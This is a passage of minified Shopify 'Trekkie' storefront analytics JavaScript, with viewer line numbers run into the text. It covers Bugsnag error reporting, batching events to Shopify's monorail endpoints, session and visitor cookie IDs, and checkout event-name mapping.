var d = { 2977 error_name: "reportError_" + e 2978 }; 2979 r && (d.shop_id = r), i.produce([{ 2980 schemaId: t.errorsSchemaId, 2981 payload: d 2982 }]) 2983 } 2984 }, t.shouldSendToBugsnag = function() { 2985 return 100 * Math.random() < 2.5 2986 }, t.sendBugsnagXhr = function(e, t, n, o, r, i, a, s) { 2987 try { 2988 var c = new XMLHttpRequest; 2989 c.open("POST", "https://notify.bugsnag.com/", !0), c.setRequestHeader("Content-Type", "application/json"), c.setRequestHeader("Bugsnag-Api-Key", "acd98d4f5c3b14bef3d8703f0ae1d8e8"), c.setRequestHeader("Bugsnag-Payload-Version", "5"), c.send(JSON.stringify({ 2990 payloadVersion: 5, 2991 notifier: { 2992 name: "Trekkie", 2993 version: e, 2994 url: "-" 2995 }, 2996 events: [{ 2997 exceptions: [{ 2998 errorClass: t, 2999 stacktrace: [n], 3000 type: "browserjs" 3001 }], 3002 context: o, 3003 app: { 3004 releaseStage: "production", 3005 version: e, 3006 id: "trekkie" 3007 }, 3008 metaData: { 3009 app: { 3010 s2sSource: r 3011 }, 3012 request: { 3013 shopId: i, 3014 shopUrl: window.location.href 3015 }, 3016 device: { 3017 userAgent: window.navigator.userAgent 3018 }, 3019 "Additional Notes": { 3020 appConfig: a, 3021 notes: s 3022 } 3023 }, 3024 unhandled: !1 3025 }] 3026 })) 3027 } catch (e) {} 3028 }, t.sendToBugsnag = function(e) { 3029 var t;
3030 if (this.shouldSendToBugsnag()) { 3031 var n = "81e7c2f873195e45afafd9b60802a3260bdef5d8", 3032 o = null, 3033 r = null, 3034 i = null; 3035 if (e.appConfig) try { 3036 var a = JSON.parse(e.appConfig); 3037 a && (o = a.Trekkie.appName, r = null === (t = a.S2S) || void 0 === t ? void 0 : t.source, i = a.Trekkie.defaultAttributes.shopId) 3038 } catch (e) {} 3039 var s = e.context ? e.context : r, 3040 c = { 3041 file: o ? "checkout" === o ? "trekkie.storefront." + n + ".min.js" : "trekkie." + o + "." + n + ".min.js" : "trekkie." + n + ".min.js", 3042 lineNumber: "1", 3043 columnNumber: "1", 3044 method: e.context 3045 }, 3046 u = e.context; 3047 if (e.stack) { 3048 u = e.stack.split("\n")[0]; 3049 var d = e.stack.match(/([0-9]+):([0-9]+)/); 3050 if (d && d.length > 2 && (c.lineNumber = d[1], c.columnNumber = d[2], parseInt(c.lineNumber, 10) > 1e5)) return 3051 } 3052 this.sendBugsnagXhr(n, u, c, s, r, i, e.appConfig, e.notes) 3053 } 3054 } 3055 }, 3056 997: function(e, t) { 3057 "use strict"; 3058 var n = this && this.__spreadArrays || function() { 3059 for (var e = 0, t = 0, n = arguments.length; t < n; t++) e += arguments[t].length; 3060 var o = Array(e), 3061 r = 0; 3062 for (t = 0; t < n; t++) 3063 for (var i = arguments[t], a = 0, s = i.length; a < s; a++, r++) o[r] = i[a]; 3064 return o 3065 }; 3066 Object.defineProperty(t, "__esModule", { 3067 value: !0 3068 }), t.isSendBeaconSupported = t.produce = t.flushBatchEvents = t.getBatchEvents = t.addBatchEvent = t.setMonorailRegion = t.batchEndpoints = void 0, t.batchEndpoints = { 3069 global: { 3070 url: "https://monorail-edge.shopifysvc.com/unstable/produce_batch" 3071 }, 3072 staging: { 3073 url: "https://monorail-edge-staging.shopifycloud.com/unstable/produce_batch" 3074 }, 3075 canada: { 3076 url: "https://monorail-edge-ca.shopifycloud.com/unstable/produce_batch" 3077 } 3078 }; 3079 var o = t.batchEndpoints.global, 3080 r = new Array; 3081 3082 function i(e, t) { 3083 if (a()) try { 3084 if (window.navigator.sendBeacon.bind(window.navigator)(e, t)) return !0 3085 } catch (e) {} 3086 var n = new XMLHttpRequest; 3087 try { 3088 n.open("POST", e, !0), n.setRequestHeader("Content-Type", "text/plain"), n.send(t) 3089 } catch (e) { 3090 console.log(e) 3091 } 3092 return !1 3093 } 3094 3095 function a() { 3096 return window && window.navigator && "function" == typeof window.navigator.sendBeacon && !(-1 !== window.navigator.userAgent.lastIndexOf("iPhone; CPU iPhone OS 12_") || -1 !== window.navigator.userAgent.lastIndexOf("iPad; CPU OS 12_")) 3097 } 3098 t.setMonorailRegion = function(e) { 3099 "shop_domain" === e ? o = { 3100 url: window.location.origin + "/.well-known/shopify/monorail/unstable/produce_batch" 3101 } : t.batchEndpoints.hasOwnProperty(e) && (o = t.batchEndpoints[e]) 3102 }, t.addBatchEvent = function(e) { 3103 var t = (new Date).getTime(), 3104 n = { 3105 schema_id: e.schemaId, 3106 payload: e.payload, 3107 metadata: { 3108 event_created_at_ms: t 3109 } 3110 }; 3111 r.push(n) 3112 }, t.getBatchEvents = function() { 3113 return r 3114 }, t.flushBatchEvents = function() { 3115 var e = n(r); 3116 r.length = 0, 3117 function(e) { 3118 if (0 !== e.length) { 3119 var t = { 3120 event_sent_at_ms: (new Date).getTime() 3121 }, 3122 n = {}; 3123 n.metadata = t, n.events = e, i(o.url, JSON.stringify(n)) 3124 } 3125 }(e) 3126 }, t.produce = function(e) { 3127 if (0 !== e.length) { 3128 var t = (new Date).getTime(), 3129 n = { 3130 event_sent_at_ms: t 3131 }, 3132 r = {}; 3133 r.metadata = n, r.events = []; 3134 for (var a = 0, s = e; a < s.length; a++) { 3135 var c = s[a]; 3136 r.events.push({ 3137 schema_id: c.schemaId, 3138 payload: c.payload, 3139 metadata: { 3140 event_created_at_ms: t 3141 } 3142 }) 3143 } 3144 return i(o.url, JSON.stringify(r)) 3145 } 3146 }, t.isSendBeaconSupported = a 3147 }, 3148 8336: function(e, t, n) { 3149 "use strict"; 3150 Object.defineProperty(t, "__esModule", { 3151 value: !0 3152 }), t.getNavigationTypeLegacy = t.getNavigationTypeExperimental = void 0; 3153 var o = n(2971); 3154 t.getNavigationTypeExperimental = function() { 3155 try { 3156 var e = (null === performance || void 0 === performance ? void 0 : performance.getEntriesByType) && (null === performance || void 0 === performance ? void 0 : performance.getEntriesByType("navigation")); 3157 if (e && e[0]) { 3158 var t = performance.getEntriesByType("navigation")[0].type; 3159 return t && t.toString() 3160 } 3161 } catch (e) { 3162 o.reportError("PerformanceNavigationTiming_Error", e) 3163 } 3164 }, t.getNavigationTypeLegacy = function() { 3165 var e, t; 3166 try { 3167 if (PerformanceNavigation && null !== (null === (e = null === performance || void 0 === performance ? void 0 : performance.navigation) || void 0 === e ? void 0 : e.type) && void 0 !== (null === (t = null === performance || void 0 === performance ? void 0 : performance.navigation) || void 0 === t ? void 0 : t.type)) { 3168 var n = performance.navigation.type; 3169 switch (n) { 3170 case PerformanceNavigation.TYPE_NAVIGATE: 3171 return "navigate"; 3172 case PerformanceNavigation.TYPE_RELOAD: 3173 return "reload"; 3174 case PerformanceNavigation.TYPE_BACK_FORWARD: 3175 return "back_forward"; 3176 default: 3177 return "unknown: " + n 3178 } 3179 } 3180 } catch (e) { 3181 o.reportError("Performance.Navigation_Error", e) 3182 } 3183 } 3184 }, 3185 9124: function(e, t, n) { 3186 "use strict"; 3187 Object.defineProperty(t, "__esModule", { 3188 value: !0 3189 }), t.getSessionId = void 0; 3190 var o, r = n(7668); 3191 t.getSessionId = function() {
3192 return o || (o = function() { 3193 var e, t, n; 3194 try { 3195 n = (null === (e = window.Shopify) || void 0 === e ? void 0 : e.evids) ? null === (t = window.Shopify) || void 0 === t ? void 0 : t.evids("session_started", { 3196 analyticsFramework: "trekkie" 3197 }) : r.buildToken() 3198 } catch (e) { 3199 n = r.buildToken() 3200 } 3201 return n 3202 }()), o 3203 } 3204 }, 3205 5522: function(e, t, n) { 3206 "use strict"; 3207 Object.defineProperty(t, "__esModule", { 3208 value: !0 3209 }), t.iframe = t.script = void 0; 3210 var o = n(1503); 3211 3212 function r(e, t) { 3213 if (t.onLoad && e.addEventListener("load", t.onLoad, !1), t.className) { 3214 if (/^\d/.test(t.className)) throw new Error("Invalid className: " + t.className + " starts with a digit"); 3215 e.className = t.className 3216 } 3217 } 3218 t.script = function(e) { 3219 var t = o.virtualDocument().createElement("script"); 3220 return t.src = e.src, t.async = !0, r(t, e), o.virtualDocument().body().appendChild(t), t 3221 }, t.iframe = function(e) { 3222 var t = o.virtualDocument().createElement("iframe"); 3223 return t.src = e.src, t.style.display = "none", r(t, e), o.virtualDocument().body().appendChild(t), t 3224 } 3225 }, 3226 7668: function(e, t, n) { 3227 "use strict"; 3228 Object.defineProperty(t, "__esModule", { 3229 value: !0 3230 }), t.hexTime = t.buildToken = t.UniqueIdManager = t.longTermKey = t.shortTermKey = void 0; 3231 var o = n(7e3), 3232 r = n(6997), 3233 i = n(2971); 3234 t.shortTermKey = "_shopify_s", t.longTermKey = "_shopify_y"; 3235 var a = "xxxx-4xxx-xxxx-xxxxxxxxxxxx", 3236 s = function() { 3237 function e(e) { 3238 this.isCookieSetServerSideEventFired = !1, this.isServerSideCookieWritingEnabled = e 3239 } 3240 return e.prototype.fetchOrSet = function(e, t, n) { 3241 if (!r.enabled()) return "00000000-0000-0000-4000-000000000000"; 3242 var o = r.read(t), 3243 a = !n; 3244 o || (o = c(), a = !0, n && !this.isCookieSetServerSideEventFired && (i.logMetricToMonorail("serverSideCookieNotSet_" + t), this.isCookieSetServerSideEventFired = !0)), a && r.write(t, o, e); 3245 var s = r.read(t); 3246 return void 0 === s ? "00000000-0000-0000-5000-000000000000" : s 3247 }, e.prototype.shortTerm = function() { 3248 var e, n; 3249 return null !== (n = null === (e = window.ShopPay) || void 0 === e ? void 0 : e.trackingVisit) && void 0 !== n ? n : this.fetchOrSet(!1, t.shortTermKey, !1) 3250 }, e.prototype.longTerm = function() { 3251 var e, n; 3252 return null !== (n = null === (e = window.ShopPay) || void 0 === e ? void 0 : e.trackingUnique) && void 0 !== n ? n : this.fetchOrSet(!0, t.longTermKey, this.isServerSideCookieWritingEnabled) 3253 }, e.prototype.resetIsCookieSetServerSideEventFired = function() { 3254 this.isCookieSetServerSideEventFired = !1 3255 }, e 3256 }(); 3257 3258 function c() { 3259 var e = ""; 3260 try { 3261 var t = o.virtualWindow().crypto(), 3262 n = new Uint16Array(31); 3263 t.getRandomValues(n); 3264 var r = 0; 3265 e = a.replace(/[x]/g, (function(e) { 3266 for (var t = [], o = 1; o < arguments.length; o++) t[o - 1] = arguments[o]; 3267 var i = n[r] % 16; 3268 return r++, ("x" === e ? i : 3 & i | 8).toString(16) 3269 })).toUpperCase() 3270 } catch (t) { 3271 e = a.replace(/[x]/g, (function(e) { 3272 for (var t = [], n = 1; n < arguments.length; n++) t[n - 1] = arguments[n]; 3273 var o = 16 * Math.random() | 0; 3274 return ("x" === e ? o : 3 & o | 8).toString(16) 3275 })).toUpperCase() 3276 } 3277 return u() + "-" + e 3278 } 3279 3280 function u() { 3281 var e, t = 0; 3282 e = (new Date).getTime() >>> 0; 3283 try { 3284 t = performance.now() >>> 0 3285 } catch (e) { 3286 t = 0 3287 } 3288 return Math.abs(e + t).toString(16).toLowerCase().padStart(8, "0") 3289 } 3290 t.UniqueIdManager = s, t.buildToken = c, t.hexTime = u 3291 }, 3292 1102: function(e, t, n) { 3293 "use strict"; 3294 Object.defineProperty(t, "__esModule", { 3295 value: !0 3296 }), t.isPseudoPageEvent = t.canonical = t.generateShopifyDValue = t.isUnstableBrowserVersion = t.UNSTABLE_BROW
3296SER_VERSION_SET = t.objectAssignFilterUndefined = void 0; 3297 var o = n(7e3), 3298 r = n(7385), 3299 i = n(1503), 3300 a = /^https?:\/\//; 3301 t.objectAssignFilterUndefined = function(e, t) { 3302 for (var n in t) void 0 !== t[n] && (e[n] = t[n]); 3303 return e 3304 }, t.UNSTABLE_BROWSER_VERSION_SET = new Set(["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134"]), t.isUnstableBrowserVersion = function() { 3305 return t.UNSTABLE_BROWSER_VERSION_SET.has(o.virtualWindow().userAgent()) 3306 }, t.generateShopifyDValue = function() { 3307 return (new Date).toJSON() 3308 }, t.canonical = function() { 3309 for (var e = i.virtualDocument().getElementsByTagName("link"), t = 0; t < e.length; t++) { 3310 var n = e[t]; 3311 if ("canonical" === n.getAttribute("rel")) { 3312 var o = n.getAttribute("href"); 3313 if (!a.test(o)) continue; 3314 if (o.replace(a, "").length <= 5) continue; 3315 return o 3316 } 3317 } 3318 return "" 3319 }, t.isPseudoPageEvent = function(e) { 3320 for (var t = 0, n = r.PSEUDO_PAGE_EVENTS; t < n.length; t++) { 3321 var o = n[t], 3322 i = r.analyticsEvents[o]; 3323 if (i && i.test(e)) return !0 3324 } 3325 return !1 3326 } 3327 }, 3328 1270: function(e, t) { 3329 "use strict"; 3330 Object.defineProperty(t, "__esModule", { 3331 value: !0 3332 }), t.WebPixelEventNameMap = void 0, t.WebPixelEventNameMap = { 3333 "Page View": "page_viewed", 3334 "Performed Search": "search_submitted", 3335 "Viewed Product": "product_viewed", 3336 "Started Order": "checkout_started", 3337 "Viewed Product Category": "collection_viewed", 3338 "Viewed Product Variant": "product_variant_viewed", 3339 "Added Product": "product_added_to_cart", 3340 "Added Payment": "payment_info_submitted", 3341 "Completed Order": "checkout_completed", 3342 "Checkout Contact Step Started": "checkout_contact_step_started", 3343 "Checkout Contact Info Submitted": "checkout_contact_info_submitted", 3344 "Checkout Address Info Submitted": "checkout_address_info_submitted", 3345 "Checkout Shipping Step Started": "checkout_shipping_step_started", 3346 "Checkout Shipping Info Submitted": "checkout_shipping_info_submitted", 3347 "Checkout Payment Step Started": "checkout_payment_step_started" 3348 } 3349 }, 3350 9426: function(e, t, n) { 3351 "use strict"; 3352 var o = this && this.__assign || function() { 3353 return o = Object.assign || function(e) { 3354 for (var t, n = 1, o = arguments.length; n < o; n++) 3355 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 3356 return e 3357 }, o.apply(this, arguments) 3358 }; 3359 Object.defineProperty(t, "__esModule", { 3360 value: !0 3361 }), t.replayAnalyticsQueue = t.Tricorder = void 0; 3362 var r = n(1503), 3363 i = n(725), 3364 a = n(997), 3365 s = n(2971), 3366 c = n(2449), 3367 u = n(7662), 3368 d = n(7668), 3369 p = n(1930), 3370 l = n(8336), 3371 f = n(1102), 3372 g = n(2971), 3373 _ = n(6851), 3374 h = n(1270), 3375 v = n(9115), 3376 y = function() { 3377 function e(e, t, n) { 3378 var o, r; 3379 this.integrations = [], this.allIntegrationsHaveLoaded = !1, this.handleConsentCollectedBinded = this.handleConsentCollected.bind(this), this.config = t, this.navigationInfo = this.getNavigationType(), this.configureMonorailRegion(this.config.Trekkie), c.setupEventIdService(), _.default.initialize(t.Trekkie), v.default.initialize(t.Trekkie.enabledBetaFlags), s.logMetricToMonorail("navigation-" + (null === (o = this.navigationInfo) || void 0 === o ? void 0 : o.navigationApi) + "-" + (null === (r = this.navigationInfo) || void 0 === r ? void 0 : r.navigationType)), this.logAssetContext(t), this.addBuyWithPrimePresenceListener(t), this.initialize(e, t, n) 3380 } 3381 return e.prototype.configureMonorailRegion = function(e) { 3382 var t = "global"; 3383 (null == e ? void 0 : e.monorailRegion) && (t = null == e ? void 0 : e.monorailRegion), (null == e ? void 0 : e.development) && (t = "staging"), a.setMonorailRegion(t) 3384 }, e.prototype.logAssetContext = function(e) { 3385 var t, n, o, r, i; 3386 a.addBatchEvent({ 3387 schemaId: p.trekkieAssetContextSchemaId, 3388 payload: { 3389 build_id: "81e7c2f873195e45afafd9b60802a3260bdef5d8", 3390 page_url: window.location.href, 3391 app_name: null === (t = e.Trekkie) || void 0 === t ? void 0 : t.appName, 3392 shop_id: null === (o = null === (n = e.Trekkie) || void 0 === n ? void 0 : n.defaultAttributes) || void 0 === o ? void 0 : o.shopI
3392d, 3393 monorail_region: (null === (r = e.Trekkie) || void 0 === r ? void 0 : r.monorailRegion) || "not_set", 3394 source: null === (i = e.S2S) || void 0 === i ? void 0 : i.source 3395 } 3396 }) 3397 }, e.prototype.addBuyWithPrimePresenceListener = function(e) { 3398 var t, n, r = null === (n = null === (t = e.Trekkie) || void 0 === t ? void 0 : t.defaultAttributes) || void 0 === n ? void 0 : n.shopId; 3399 r && window.addEventListener("message", (function(e) { 3400 var t, n, i, s, c, u; 3401 try { 3402 if ("https://order.buywithprime.amazon.com/" === e.origin) { 3403 var d = null === (n = null === (t = window.ShopifyAnalytics) || void 0 === t ? void 0 : t.meta) || void 0 === n ? void 0 : n.product, 3404 l = (null === (i = null == d ? void 0 : d.variants) || void 0 === i ? void 0 : i.length) > 0 ? null === (s = null == d ? void 0 : d.variants[0]) || void 0 === s ? void 0 : s.id : void 0, 3405 f = (null === (u = null === (c = window.ShopifyAnalytics) || void 0 === c ? void 0 : c.meta) || void 0 === u ? void 0 : u.selectedVariantId) || l, 3406 _ = { 3407 schemaId: p.buyWithPrimePresenceSchemaId, 3408 payload: o(o(o({ 3409 shop_id: r 3410 }, e.data && { 3411 event_message: e.data 3412 }), d && { 3413 product_id: d.id 3414 }), f && { 3415 product_variant_id: Number(f) 3416 }) 3417 }; 3418 a.produce([_]) 3419 } 3420 } catch (e) { 3421 g.reportError("buyWithPrimeError", e) 3422 } 3423 })) 3424 }, e.prototype.getNavigationType = function() { 3425 try { 3426 var e = "PerformanceNavigationTiming", 3427 t = l.getNavigationTypeExperimental(); 3428 return t || (t = l.getNavigationTypeLegacy(), e = "performance.navigation"), t ? { 3429 navigationType: t, 3430 navigationApi: e 3431 } : { 3432 navigationType: "unknown", 3433 navigationApi: "unknown" 3434 } 3435 } catch (e) { 3436 s.reportError("navigation_api_error", e) 3437 } 3438 return { 3439 navigationType: "error", 3440 navigationApi: "error" 3441 } 3442 }, e.prototype.initialize = function(e, t, n) { 3443 this.loadIntegrations(e, t, n) 3444 }, e.prototype.getS2SEventId = function(e, t, n) { 3445 var o, r, i; 3446 void 0 === e && (e = void 0), void 0 === t && (t = {}); 3447 var a = { 3448 navigationApi: this.navigationInfo.navigationApi, 3449 navigationType: this.navigationInfo.navigationType 3450 }; 3451 n && (a.serverEventId = n); 3452 var s = h.WebPixelEventNameMap[e]; 3453 try { 3454 if ("product_added_to_cart" === s && (null === (o = window.Shopify) || void 0 === o ? void 0 : o.evids)) { 3455 var c = function(e) { 3456 if (e.productId && e.variantId) return e.productId.toString() + "-" + e.variantId.toString() 3457 }(t); 3458 i = window.Shopify.evids(s, { 3459 analyticsFramework: "trekkie", 3460 cacheKey: c 3461 }) 3462 } else i = (null === (r = window.Shopify) || void 0 === r ? void 0 : r.evids) && s ? window.Shopify.evids(s, { 3463 analyticsFramework: "trekkie" 3464 }) : d.buildToken() 3465 } catch (e) { 3466 i = d.buildToken() 3467 } 3468 return { 3469 s2sMetadata: a, 3470 eventId: "string" == typeof i && i.length > 0 ? i : d.buildToken() 3471 } 3472 }, e.prototype.loadIntegrations = function(e, t, n) { 3473 var o = this, 3474 r = this.waitFor(e.length, (function() { 3475 try { 3476 n() 3477 } catch (e) { 3478 s.reportError("readyCallback", e) 3479 } 3480 o.allIntegrationsHaveLoaded = !0, o.flushMonorailEventsIfLoaded() 3481 })); 3482 e.forEach((function(e) { 3483 var n = e[0], 3484 i = e[1]; 3485 try { 3486 if (t[n] && "object" == typeof t[n]) { 3487 var a = new i({}, t[n], r); 3488 a.initializeOrAwaitConsent(), o.integrations.push(a), "Trekkie" === a.name() && (o.trekkie = a) 3489 } else r() 3490 } catch (e) { 3491 r(), s.reportError("loadIntegration", e) 3492 } 3493 })), this.addConsentCollectedListener() 3494 }, e.prototype.handleConsentCollected = function(e) { 3495 u.resetConsentCookieCache(), _.default.refreshVisitorTokens(), this.integrations.forEach((function(t) { 3496 t.onConsentCollected(e) 3497 })), a.flushBatchEvents() 3498 }, e.prototype.addConsentCollectedListener = function() { 3499 document.addEventListener(u.TrackingEvents.CONSENT_COLLECTED, this.handleConsentCollectedBinded) 3500 }, e.prototype.removeConsentCollectedListener = function() { 3501 document.removeEventListener(u.TrackingEvents.CONSENT_COLLECTED, this.handleConsentCollectedBinded) 3502 }, e.prototype.identify = function(e, t, n) { 3503 void 0 === e && (e = ""), void 0 === t && (t = {});
3504 var o = this.getS2SEventId(); 3505 e instanceof Object && (t = e, e = ""); 3506 for (var r = 0, i = this.integrations; r < i.length; r++) { 3507 var a = i[r]; 3508 try { 3509 var c = { 3510 id: e, 3511 properties: t, 3512 eventId: o.eventId, 3513 s2sMetadata: o.s2sMetadata 3514 }; 3515 a.identify(c) 3516 } catch (e) { 3517 s.reportError("identify", e) 3518 } 3519 } 3520 this.flushMonorailEventsIfLoaded() 3521 }, e.prototype.page = function(e, t, n) { 3522 void 0 === e && (e = ""), void 0 === t && (t = {}); 3523 var o = this.getS2SEventId("Page View"); 3524 e instanceof Object && (t = e, e = ""); 3525 for (var r = this.generatePageObject(e, t, o.eventId, o.s2sMetadata), i = 0, a = this.integrations; i < a.length; i++) { 3526 var c = a[i]; 3527 try { 3528 c.emitEventOrAwaitConsent("page", r) 3529 } catch (e) { 3530 s.reportError("page", e) 3531 } 3532 } 3533 return this.flushMonorailEventsIfLoaded(), o.eventId 3534 }, e.prototype.track = function(e, t, n) { 3535 void 0 === e && (e = ""), void 0 === t && (t = {}); 3536 var o = "Checkout One Page View" === e ? "Page View" : e, 3537 r = this.getS2SEventId(o, t, n); 3538 e instanceof Object && (t = e, e = ""); 3539 for (var i = { 3540 event: e, 3541 properties: this.constructTrackArgs(e, t, r), 3542 eventId: r.eventId, 3543 s2sMetadata: r.s2sMetadata 3544 }, a = 0, c = this.integrations; a < c.length; a++) { 3545 var u = c[a]; 3546 try { 3547 u.emitEventOrAwaitConsent("track", i) 3548 } catch (e) { 3549 s.reportError("track", e) 3550 } 3551 } 3552 return this.flushMonorailEventsIfLoaded(), r.eventId 3553 }, e.prototype.flushMonorailEventsIfLoaded = function() { 3554 this.allIntegrationsHaveLoaded && a.flushBatchEvents() 3555 }, e.prototype.ready = function(e) { 3556 try { 3557 e() 3558 } catch (e) { 3559 s.reportError("ready", e) 3560 } 3561 }, e.prototype.waitFor = function(e, t) { 3562 return 0 === e ? (setTimeout(t, 0), function() {}) : function() { 3563 0 == --e && setTimeout(t, 0) 3564 } 3565 }, e.prototype.generatePageObject = function(e, t, n, o) { 3566 var a = i.href(), 3567 s = a.indexOf("?"); 3568 return s = (a = -1 === s ? "" : a.slice(s)).indexOf("#"), a = "?" === (a = -1 === s ? a : a.slice(0, s)) ? "" : a, { 3569 name: e, 3570 referrer: r.virtualDocument().referrer(), 3571 path: i.pathname(), 3572 search: a, 3573 title: r.virtualDocument().title(), 3574 url: this.url(), 3575 properties: t, 3576 eventId: n, 3577 s2sMetadata: o 3578 } 3579 }, e.prototype.url = function() { 3580 var e = f.canonical(); 3581 if (e) return e.indexOf("?") > 0 ? e : e + i.search(); 3582 var t = i.href(), 3583 n = t.indexOf("#"); 3584 return -1 === n ? t : t.slice(0, n) 3585 }, e.prototype.constructTrackArgs = function(e, t, n) { 3586 if (void 0 === t && (t = {}), f.isPseudoPageEvent(e)) { 3587 var r = t, 3588 i = r.name, 3589 a = r.path; 3590 if (i && a) { 3591 var s = this.generatePageObject(i, { 3592 path: a 3593 }, n.eventId, n.s2sMetadata); 3594 return o(o({}, t), {
3595 page: s 3596 }) 3597 } 3598 } 3599 return t 3600 }, e.prototype.destroy = function() { 3601 this.removeConsentCollectedListener() 3602 }, e 3603 }(); 3604 t.Tricorder = y, t.replayAnalyticsQueue = function(e, t) { 3605 for (var n = 0, o = t; n < o.length; n++) e[s = (a = o[n])[0]] === e.ready && e[s].apply(e, a.slice(1)); 3606 for (var r = 0, i = t; r < i.length; r++) { 3607 var a, s; 3608 e[s = (a = i[r])[0]] && e[s] !== e.ready && e[s].apply(e, a.slice(1)) 3609 } 3610 } 3611 }, 3612 1503: function(e, t) { 3613 "use strict"; 3614 Object.defineProperty(t, "__esModule", { 3615 value: !0 3616 }), t.virtualDocument = void 0; 3617 var n = new(function() { 3618 function e() {} 3619 return e.prototype.cookieEnabled = function() { 3620 return window.navigator.cookieEnabled 3621 }, e.prototype.cookie = function() { 3622 return document.cookie 3623 }, e.prototype.setCookie = function(e) { 3624 document.cookie = e 3625 }, e.prototype.body = function() { 3626 return document.body 3627 }, e.prototype.referrer = function() { 3628 return document.referrer 3629 }, e.prototype.title = function() { 3630 return document.title 3631 }, e.prototype.createElement = function(e) { 3632 return document.createElement(e) 3633 }, e.prototype.dispatchEvent = function(e) { 3634 return document.dispatchEvent(e) 3635 }, e.prototype.querySelector = function(e) { 3636 return document.querySelector(e) 3637 }, e.prototype.querySelectorAll = function(e) { 3638 return document.querySelectorAll(e) 3639 }, e.prototype.documentElement = function() { 3640 return document.documentElement 3641 }, e.prototype.getElementsByTagName = function(e) { 3642 return document.getElementsByTagName(e) 3643 }, e.prototype.createCustomEvent = function(e, t) { 3644 try { 3645 return new CustomEvent(e, t) 3646 } catch (o) { 3647 var n = document.createEvent("CustomEvent"); 3648 return n.initCustomEvent(e, t.bubbles, t.cancelable, t.detail), n 3649 } 3650 }, e 3651 }()); 3652 t.virtualDocument = function() { 3653 return n 3654 } 3655 }, 3656 7e3: function(e, t) { 3657 "use strict"; 3658 Object.defineProperty(t, "__esModule", { 3659 value: !0 3660 }), t.virtualWindow = void 0; 3661 var n = new(function() { 3662 function e(e) { 3663 this.nativeWindow = e 3664 } 3665 return e.prototype.location = function() { 3666 return this.nativeWindow.location 3667 }, e.prototype.userAgent = function() { 3668 return this.nativeWindow.navigator.userAgent 3669 }, e.prototype.crypto = function() { 3670 return this.nativeWindow.crypto || this.nativeWindow.msCrypto 3671 }, e.prototype.top = function() { 3672 return this.nativeWindow.top ? new e(this.nativeWindow.top) : void 0 3673 }, e.prototype.parent = function() { 3674 return this.nativeWindow.parent ? new e(this.nativeWindow.parent) : void 0 3675 }, e.prototype.postMessage = function(e, t, n) { 3676 this.nativeWindow.postMessage(e, t, n) 3677 }, e.prototype.addEventListener = function(e, t, n) { 3678 this.nativeWindow.addEventListener(e, t, n) 3679 }, e.prototype.onload = function() { 3680 throw new Error("Do not use window.onload due to compatibility reasons. Use addEventListener instead of window.onload") 3681 }, e 3682 }())(window); 3683 t.virtualWindow = function() { 3684 return n 3685 } 3686 }, 3687 803: function(e, t, n) { 3688 "use strict"; 3689 n.r(t), n.d(t, { 3690 setupEventIdService: function() { 3691 return I 3692 } 3693 }); 3694 const o = "sh", 3695 r = "shu", 3696 i = "page_viewed", 3697 a = "collection_viewed", 3698 s = "product_viewed", 3699 c = "product_variant_viewed", 3700 u = "search_submitted", 3701 d = "product_added_to_cart", 3702 p = "checkout_started", 3703 l = "checkout_completed", 3704 f = "payment_info_submitted", 3705 g = "checkout_contact_step_started", 3706 _ = "checkout_contact_info_submitted", 3707 h = "checkout_address_info_submitted", 3708 v = "checkout_shipping_step_started", 3709 y = "checkout_shipping_info_submitted", 3710 E = "checkout_payment_step_started", 3711 m = "session_started", 3712 C = "wpm", 3713 T = "trekkie"; 3714 let A, P; 3715 3716 function w(e) { 3717 return `${e||o}-${function(){const e="xxxx-4xxx-xxxx-xxxxxxxxxxxx";let t="";try{const n=window.crypto,o=new Uint16Array(31);n.getRandomValues(o);let r=0;t=e.replace(/[x]/g,(e=>{const t=o[r]%16;return r++,("x"===e?t:3&t|8).toString(16)})).toUpperCase()}catch(n){t=e.replace(/[x]/g,(e=>{const t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})).toUpperCase()}return` 3718 $ { 3719 function() { 3720 let e = 0, 3721 t = 0; 3722 e = (new Date).getTime() >>> 0; 3723 try { 3724 t = performance.now() >>> 0 3725 } catch (e) { 3726 t = 0 3727 } 3728 const n = Math.abs(e + t).toString(16).toLowerCase(); 3729 return "00000000".substr(0, 8 - n.length) + n 3730 }() 3731 } - $ { 3732 t 3733 } 3734 `}()}` 3735 } 3736 3737 function I() { 3738 const e = window; 3739 e.Shopify = e.Shopify || {}, e.Shopify.evids || (A = { 3740 [i]: {}, 3741 [a]: {}, 3742 [s]: {}, 3743 [c]: {}, 3744 [u]: {}, 3745 [d]: {}, 3746 [p]: {}, 3747 [l]: {}, 3748 [f]: {}, 3749 [m]: {}, 3750 [g]: {}, 3751 [_]: {}, 3752 [h]: {}, 3753 [v]: {}, 3754 [y]: {}, 3755 [E]: {} 3756 }, P = { 3757 wpm: {}, 3758 trekkie: {} 3759 }, e.Shopify.evids = (e, t) => function(e, t) { 3760 if (!A[e] || (null == t ? void 0 : t.analyticsFramework) !== T && (null == t ? void 0 : t.analyticsFramework) !== C) return w(r); 3761 const n = "string" == typeof(o = t.cacheKey) && o ? o : "default"; 3762 var o; 3763 const i = function(e, t, n) { 3764 const o = P[t]; 3765 return void 0 === o[e] && (o[e] = {}), void 0 === o[e][n] ? o[e][n] = 0 : o[e][n] += 1, o[e][n] 3766 }
